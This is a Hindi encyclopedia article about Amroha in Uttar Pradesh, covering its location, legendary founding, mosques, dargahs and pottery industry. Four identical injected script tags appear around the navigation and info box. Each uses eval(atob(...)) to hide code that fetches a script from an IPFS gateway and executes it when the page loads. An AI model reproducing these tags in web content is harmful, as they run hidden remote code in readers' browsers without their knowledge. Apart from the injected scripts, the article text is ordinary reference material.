अमरोहा

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अमरोहा
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 203
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्री विभा मुखर्जी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अमरोहा भारतवर्ष के उत्तर प्रदेश की एक तहसील तथा पुराना नगर है। यह तहसील तथा नगर मुरादाबाद जिले के अंतर्गत है। अमरोहा तहसील समतल मैदान है। इसमें से तीन छोटी छोटी नदियाँ बहती हैं। पूर्वी सीमा पर रामगंगा है। अमरोहा नगर मुरादाबाद के उत्तर पश्चिम में लगभग 23 मील की दूरी पर और बान नदी के दक्षिण पश्चिम में लगभग चार मील पर है। यह अ. 28° 45¢ 40°¢¢ उ. तथा दे. 78° 31¢ 5¢¢ पू. पर स्थित है। यहाँ नगरपालिका है। भारतविभाजन के बाद यहाँ से काफी मुसलमान पाकिस्तान चले गए। नगर का वर्तमान क्षेत्रफल लगभग 397 एकड़ है। अमरोहा नगर की स्थापना आज से लगभग 3,000 वर्ष पूर्व हस्तिनापुर के राजा अमरोहा ने की थी और उन्हीं के नाम पर संभवत: इस नगर का नाम भी अमरोहा पड़ा। कुछ विद्वानों के विचार से पृथ्वीराज की भगिनी अंबीरानी के नाम और तब से मुसलमानों के इतिहास में इसका उल्लेख बराबर मिलता है। अलाउद्दीन (1295-1315ई.) के समय में चंगेज़ खाँ ने इसपर आक्रमण किया था।

ऐतिहासिक अवशेषों की दृष्टि से अमरोहा मुरादाबाद जिले में सर्वप्रथम है। यहाँ 100 से भी अधिक मस्जिदें तथा लगभग 40 मंदिर हैं। पुराने जमाने के हिंदू राजाओं के बनवाए हुए कुएँ, तालाब, सेतु, किले आदि के अवशेष अभी भी दिखाई पड़ते हैं। नगर में यत्रतत्र मूसलमानी जमाने की बड़ी-बड़ी इमारतें ध्वंसोन्मुख अवस्था में खड़ी दिखाई देती हैं।

अमरोहा मुसलमानों का तीर्थस्थान है। शेख सद्दू की मसजिद यहाँ की सबसे पुरानी इमारत है जो कभी हिंदुओं का मंदिर थी। आज की मस्जिद की दीवारों पर कहीं-कहीं हिंदू कला दिखाई देती है। हिंदू से मुस्लिम कला में परिवर्तन 1286 से 1288 के बीच कैकोबाद की राजसत्ता में हुआ। शेख सद्दू की अलौकिक शक्ति के बारे में कई किंवदंतियाँ हैं, जिनपर विश्वास रखनेवाले लोग रोगों से छुटकारा पाने के लिए यहाँ आते हैं। वर्तमान समय की बनी शाह वालियत की दर्गाह भी मशहूर है जो उस फकीर की कब्र पर बनी है। इस दर्गाह पर हिंदू मुसलमान दोनों धर्मावलंबियों की श्रद्धा है और प्रति वर्ष लाखों यात्री इसका दर्शन करने के लिए दूर-दूर से आते हैं। इसके अतिरिक्त और कई फकीरों की दर्गाहें भी यहाँ हैं।

अमरोहा के निजी उद्योगों में चीनी मिट्टी के बर्तन का निर्माण बहुत ही प्रसिद्ध है। गृह-उद्योग-प्रतियोगिता में यहाँ के बने कप, प्लेट, फूलदानी, खाने की थाली इत्यादि कई बार राज्य सरकार द्वारा पुरस्कृत हुई हैं। इनके अतिरिक्त लकड़ी के छोटे मोटे काम तथा कपड़ा बुनने का उद्योग भी यहाँ विकसित है। यहाँ साल में दो बड़े बड़े मेले लगते हैं।


टीका टिप्पणी और संदर्भ